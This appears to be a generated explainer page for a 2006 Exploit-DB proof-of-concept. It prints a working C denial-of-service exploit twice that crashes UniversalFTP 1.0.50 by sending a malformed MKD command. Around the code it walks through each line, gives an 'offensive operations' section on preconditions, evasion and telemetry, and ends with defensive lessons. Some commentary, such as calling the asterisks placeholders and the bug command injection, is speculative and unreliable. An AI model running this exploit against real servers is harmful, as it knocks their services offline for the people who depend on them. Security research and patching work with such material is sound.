UniversalFTP 1.0.50 'MKD' Remote Denial of Service Explained

UniversalFTP 1.0.50 'MKD' Remote Denial of Service Explained
What this paper is
This paper is a Proof-of-Concept (PoC) exploit for a Denial of Service (DoS) vulnerability in UniversalFTP version 1.0.50. It demonstrates how sending a specially crafted MKD command to the FTP server can cause it to crash, making the service unavailable.
Simple technical breakdown
The exploit works by connecting to the UniversalFTP server and sending an invalid MKD (Make Directory) command. This command is designed to confuse the server's parsing logic, leading to a crash. The vulnerability lies in how the server handles user input for directory names, specifically when it encounters certain special characters and path traversal sequences.
Complete code and payload walkthrough
Let's break down the provided C code and the exploit payload.
/*
=============================================================
DoS Exploit for UniversalFTP version 1.0.50
=============================================================
UniversalFTP (www.teamtek.net)
http://www.5e5.net/cgi-bin/download3.asp
Suffers from several unhandled user input vulnerabilities that
cause the program to crash.
I originally found this vulnerability on October 27th and wrote
this but got caught up working with the Renasoft PSS Exploit
and forgot to report it.
The vulnerability was posted to secunia by Parvez Anwar November
13th - good job and thanks to him :).
*/
// Includes and Definitions
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define BUFF_SIZE 1024 // Defines a buffer size, though not directly used in the exploit logic itself.
#pragma comment(lib,"wsock32.lib") // Links the Winsock library, necessary for network operations on Windows.
int main(int argc, char *argv[])
{
WSADATA wsaData; // Structure to hold Winsock initialization data.
char buffer[BUFF_SIZE]; // A buffer, declared but not used for the exploit payload.
struct hostent *hp; // Structure to hold host information.
struct sockaddr_in sockin; // Structure to hold socket address information (IP and port).
char buf[300], *check, *cmd; // buf: buffer for receiving data, check: pointer for string searching, cmd: pointer for command (unused in this PoC).
int sockfd, bytes; // sockfd: socket file descriptor, bytes: number of bytes sent/received.
int i; // Loop counter, unused in this PoC.
char *hostname; // Pointer to store the target hostname.
unsigned short port; // Variable to store the target port.
// Argument handling and usage display
if (argc <= 1)
{
printf("\n==================================================================\n");
printf("UniversalFTP v1.0.50 Denial Of Service PoC Code\n");
printf("Discovered By: Parvez Anwar and Greg Linares (glinares.code [at ] gmail [dot] com)\n");
printf("Original Reported By: Parvez Anwar\n");
printf("Usage: %s [hostname] [port]\n", argv[0]);
printf("default port is 21 \n");
printf("====================================================================\n");
exit(0); // Exits if no arguments are provided, showing usage.
}
// Assigning command-line arguments to variables
cmd = argv[3]; // This line is problematic as argv[3] is not checked for existence and is not used.
hostname = argv[1]; // The target FTP server hostname.
if (argv[2]) port = atoi(argv[2]); // If a port is provided, convert it to an integer.
else port = atoi("21"); // Otherwise, use the default FTP port (21).
// Winsock initialization
if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
{
fprintf(stderr, "Error setting up with WinSock v1.1\n");
exit(-1); // Exits if Winsock initialization fails.
}
// Resolving hostname to IP address
hp = gethostbyname(hostname);
if (hp == NULL)
{
printf("ERROR: Uknown host %s\n", hostname);
printf("%s",hostname); // Prints the hostname again, likely a typo.
exit(-1); // Exits if the hostname cannot be resolved.
}
// Setting up socket address structure
sockin.sin_family = hp->h_addrtype; // Address family (e.g., AF_INET for IPv4).
sockin.sin_port = htons(port); // Port number, converted to network byte order.
sockin.sin_addr = *((struct in_addr *)hp->h_addr); // IP address, taken from hostent structure.
// Creating a socket
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
{
printf("ERROR: Socket Error\n");
exit(-1); // Exits if socket creation fails.
}
// Connecting to the target server
if ((connect(sockfd, (struct sockaddr *) &sockin,
sizeof(sockin))) == SOCKET_ERROR)
{
printf("ERROR: Connect Error\n");
closesocket(sockfd); // Closes the socket if connection fails.
WSACleanup(); // Cleans up Winsock resources.
exit(-1); // Exits if connection fails.
}
printf("Connected to [%s] on port [%d], sending exploit....\n",
hostname, port);
// Receiving initial banner from the server
if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
{
printf("ERROR: Recv Error\n");
closesocket(sockfd);
WSACleanup();
exit(1); // Exits if receiving the banner fails.
}
// Waiting for FTP service welcome message (expecting a line starting with '2')
buf[bytes] = '\0'; // Null-terminate the received data.
check = strstr(buf, "2"); // Searches for the character '2' in the banner.
if (check == NULL)
{
printf("ERROR: NO response from SMTP service\n"); // Note: It says SMTP, but it's an FTP service.
closesocket(sockfd);
WSACleanup();
exit(-1); // Exits if the expected response is not found.
}
printf("%s\n", buf); // Prints the received banner.
// The Exploit Payload
char Exploit[] = "MKD \\..\\******\\|\\******"; // This is the core of the exploit.
// Sending the exploit payload
send(sockfd, Exploit, strlen(Exploit),0); // Sends the crafted 'MKD' command.
Sleep(1000); // Pauses execution for 1 second, allowing the server to process the command.
printf("[*] FTP DoS Packet Sent\n");
// Cleanup
closesocket(sockfd); // Closes the socket.
WSACleanup(); // Cleans up Winsock resources.
return 0; // Successful execution of the exploit code.
}
// milw0rm.com [2006-11-15]Code Fragment/Block -> Practical Purpose Mapping:
#include <stdio.h>,#include <string.h>,#include <windows.h>,#include <winsock.h>: Standard Libraries and Windows Sockets. These lines include necessary header files for input/output, string manipulation, Windows API functions, and network programming.#define BUFF_SIZE 1024: Buffer Size Definition. Defines a constant for buffer size, thoughbufferitself isn't used for the exploit payload.#pragma comment(lib,"wsock32.lib"): Linker Directive. Instructs the compiler to link the Winsock library, essential for Windows network applications.WSADATA wsaData;: Winsock Data Structure. A structure required byWSAStartupto store Windows Sockets information.char buffer[BUFF_SIZE];: Unused Buffer. Declared but not utilized in the exploit's core logic.struct hostent *hp;: Host Entry Structure. Used to store information about a host, such as its IP address.struct sockaddr_in sockin;: Socket Address Structure. Holds the internet address family, port number, and IP address for the socket.char buf[300], *check, *cmd;: Network Buffer and Pointers.bufis used to receive data from the server.checkis a pointer used for string searching.cmdis declared but not used.int sockfd, bytes;: Socket Descriptor and Byte Count.sockfdis the handle to the network socket.bytesstores the number of bytes read or written.int i;: Unused Integer. Declared but not used in the code.char *hostname;: Hostname Pointer. Stores the target server's hostname.unsigned short port;: Port Variable. Stores the target server's port number.if (argc <= 1)block: Argument Parsing and Usage Display. Checks if the program was run with arguments. If not, it prints usage instructions and exits.cmd = argv[3];: Unused Argument Assignment. Assigns the fourth command-line argument (argv[3]) tocmd. This argument is never used in the exploit.hostname = argv[1];: Hostname Assignment. Assigns the first command-line argument (argv[1]) tohostname.if (argv[2]) port = atoi(argv[2]); else port = atoi("21");: Port Assignment. Assigns the second command-line argument (argv[2]) toportif provided, otherwise defaults to port 21.WSAStartup(MAKEWORD(1, 1), &wsaData): Winsock Initialization. Initializes the Winsock DLL.gethostbyname(hostname): DNS Resolution. Resolves the given hostname into an IP address.sockin.sin_family = hp->h_addrtype;,sockin.sin_port = htons(port);,sockin.sin_addr = *((struct in_addr *)hp->h_addr);: Socket Address Configuration. Populates thesockaddr_instructure with the resolved IP address, port, and address family.socket(AF_INET, SOCK_STREAM, 0): Socket Creation. Creates a TCP socket.connect(sockfd, (struct sockaddr *) &sockin, sizeof(sockin)): Establish Connection. Attempts to connect to the target FTP server.recv(sockfd, buf, 300, 0): Receive Server Banner. Reads the initial greeting message from the FTP server.buf[bytes] = '\0'; check = strstr(buf, "2");: Banner Validation. Null-terminates the received data and checks if it contains a line starting with '2', which is typical for FTP service responses.char Exploit[] = "MKD \\..\\******\\|\\******";: The Exploit Payload. This is the critical part. It's a string containing theMKDcommand with specially crafted arguments.MKD: The FTP command to "Make Directory".\\..\\: This is a path traversal sequence. The\is escaped as\\. It attempts to move up one directory level.******: These are placeholders. In the context of a DoS, they likely represent characters that, when combined with the path traversal and the pipe, cause the server's internal parsing to fail. The specific characters used here (*and|) are often used in fuzzing to trigger unexpected behavior.\\|\\: This sequence likely represents a pipe character (|) used as a separator or an attempt to inject a command, again designed to confuse the parser.
send(sockfd, Exploit, strlen(Exploit),0): Send Exploit Command. Sends the craftedMKDcommand string to the server.Sleep(1000);: Wait for Processing. Pauses execution for 1 second to allow the server to process the malicious command and crash.closesocket(sockfd);: Close Socket. Closes the network connection.WSACleanup();: Winsock Cleanup. Releases resources used by Winsock.
Shellcode/Payload Segments:
This exploit does not use traditional shellcode. The "payload" is the string MKD \\..\\******\\|\\****** itself, which is sent as a command to the vulnerable FTP server. The vulnerability is in the server's handling of this command, not in executing injected code.
Practical details for offensive operations teams
- Required Access Level: Network access to the target host is required. No local access or elevated privileges are needed on the target machine itself, as the exploit targets the network service.
- Lab Preconditions:
- A vulnerable UniversalFTP v1.0.50 server must be set up in a controlled lab environment. This can be achieved by downloading and installing the specific version.
- Network connectivity between the attacker machine and the target FTP server.
- The attacker machine needs a C compiler (like MinGW or Visual Studio) to compile the PoC code.
- Tooling Assumptions:
- Compiler: A C compiler for Windows (e.g., MinGW, Visual Studio).
- Network Utilities: Standard network tools for testing connectivity (e.g.,
ping,telnetto port 21). - Exploit Code: The provided C source code.
- Execution Pitfalls:
- Incorrect Version: The exploit is highly specific to UniversalFTP v1.0.50. Newer versions or other FTP servers will not be affected.
- Firewall/IDS Evasion: Network firewalls or Intrusion Detection Systems (IDS) might block the connection or flag the unusual
MKDcommand. - Server Configuration: Some FTP servers might have security measures in place that sanitize input or limit command usage, preventing the exploit.
- Argument Handling: The C code has a minor issue where
argv[3]is assigned tocmdbutcmdis never used. This doesn't affect the exploit's functionality but is a code quality observation. - Network Latency: While
Sleep(1000)is used, high network latency could theoretically cause issues, though unlikely for a DoS.
- Telemetry:
- Network Traffic: A TCP connection to the target IP and port (usually 21).
- Unusual FTP Command: The
MKDcommand with the malformed arguments will be visible in network traffic analysis. - Server Crash: The primary telemetry is the FTP service becoming unresponsive or the entire server process crashing. This would be observed by the inability to connect or perform any FTP operations.
Where this was used and when
- Discovery: The vulnerability was found by Greg Linares on October 27th, 2006.
- Public Disclosure: The vulnerability was posted to Secunia by Parvez Anwar on November 13th, 2006.
- Exploit Publication: The exploit code was published by Exploit-DB on November 15th, 2006.
- Context: This exploit was relevant in the mid-2000s when FTP servers were more commonly deployed with less robust input validation. It's a classic example of a command injection/parsing vulnerability leading to a DoS. Its use would have been in security research, vulnerability testing, or potentially by malicious actors targeting systems running this specific, older FTP server software.
Defensive lessons for modern teams
- Input Validation is Crucial: Always validate and sanitize user-supplied input, especially for commands that interact with the file system or execute external processes. This includes checking for path traversal sequences (
../,..\), special characters (|,;,&,$, etc.), and unexpected command structures. - Secure Defaults: FTP is an insecure protocol by default (transmits credentials in cleartext). Modern deployments should favor SFTP or FTPS.
- Regular Patching and Updates: Keep all software, including FTP servers, up to date with the latest security patches. This vulnerability was in a specific, old version.
- Network Segmentation and Firewalls: Restrict access to FTP ports from untrusted networks.
- Intrusion Detection/Prevention Systems (IDS/IPS): Configure IDS/IPS to detect and alert on or block malformed or suspicious FTP commands.
- Least Privilege: Run FTP server processes with the minimum necessary privileges. While this exploit is a DoS, other vulnerabilities might leverage similar input flaws for privilege escalation.
- Fuzzing: Regularly fuzz network services to discover unhandled input conditions that could lead to crashes or unexpected behavior.
ASCII visual (if applicable)
This exploit is a direct client-to-server interaction. An ASCII diagram can illustrate the connection and command flow.
+-----------------+ +-----------------------+
| Attacker Machine| ----> | Target: UniversalFTP |
| (Exploit Client)| | v1.0.50 |
+-----------------+ +-----------------------+
|
| 1. TCP Connection (Port 21)
| 2. Receive Banner
| 3. Send Malicious "MKD \\..\\******\\|\\******" Command
| 4. Server Processes Command -> CRASH (DoS)
| 5. Connection Closed (or server unresponsive)Source references
- Paper URL: https://www.exploit-db.com/papers/2787
- Raw Exploit URL: https://www.exploit-db.com/raw/2787
- Original Discovery: Greg Linares
- Original Reporting: Parvez Anwar
Original Exploit-DB Content (Verbatim)
/*
=============================================================
DoS Exploit for UniversalFTP version 1.0.50
=============================================================
UniversalFTP (www.teamtek.net)
http://www.5e5.net/cgi-bin/download3.asp
Suffers from several unhandled user input vulnerabilities that
cause the program to crash.
I originally found this vulnerability on October 27th and wrote
this but got caught up working with the Renasoft PSS Exploit
and forgot to report it.
The vulnerability was posted to secunia by Parvez Anwar November
13th - good job and thanks to him :).
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define BUFF_SIZE 1024
#pragma comment(lib,"wsock32.lib")
int main(int argc, char *argv[])
{
WSADATA wsaData;
char buffer[BUFF_SIZE];
struct hostent *hp;
struct sockaddr_in sockin;
char buf[300], *check, *cmd;
int sockfd, bytes;
int i;
char *hostname;
unsigned short port;
if (argc <= 1)
{
printf("\n==================================================================\n");
printf("UniversalFTP v1.0.50 Denial Of Service PoC Code\n");
printf("Discovered By: Parvez Anwar and Greg Linares (glinares.code
[at ] gmail [dot] com)\n");
printf("Original Reported By: Parvez Anwar\n");
printf("Usage: %s [hostname] [port]\n", argv[0]);
printf("default port is 21 \n");
printf("====================================================================\n");
exit(0);
}
cmd = argv[3];
hostname = argv[1];
if (argv[2]) port = atoi(argv[2]);
else port = atoi("21");
if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
{
fprintf(stderr, "Error setting up with WinSock v1.1\n");
exit(-1);
}
hp = gethostbyname(hostname);
if (hp == NULL)
{
printf("ERROR: Uknown host %s\n", hostname);
printf("%s",hostname);
exit(-1);
}
sockin.sin_family = hp->h_addrtype;
sockin.sin_port = htons(port);
sockin.sin_addr = *((struct in_addr *)hp->h_addr);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
{
printf("ERROR: Socket Error\n");
exit(-1);
}
if ((connect(sockfd, (struct sockaddr *) &sockin,
sizeof(sockin))) == SOCKET_ERROR)
{
printf("ERROR: Connect Error\n");
closesocket(sockfd);
WSACleanup();
exit(-1);
}
printf("Connected to [%s] on port [%d], sending exploit....\n",
hostname, port);
if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
{
printf("ERROR: Recv Error\n");
closesocket(sockfd);
WSACleanup();
exit(1);
}
// wait for SMTP service welcome
buf[bytes] = '\0';
check = strstr(buf, "2");
if (check == NULL)
{
printf("ERROR: NO response from SMTP service\n");
closesocket(sockfd);
WSACleanup();
exit(-1);
}
printf("%s\n", buf);
char Exploit[] = "MKD \\..\\******\\|\\******";
send(sockfd, Exploit, strlen(Exploit),0);
Sleep(1000);
printf("[*] FTP DoS Packet Sent\n");
closesocket(sockfd);
WSACleanup();
}
// milw0rm.com [2006-11-15]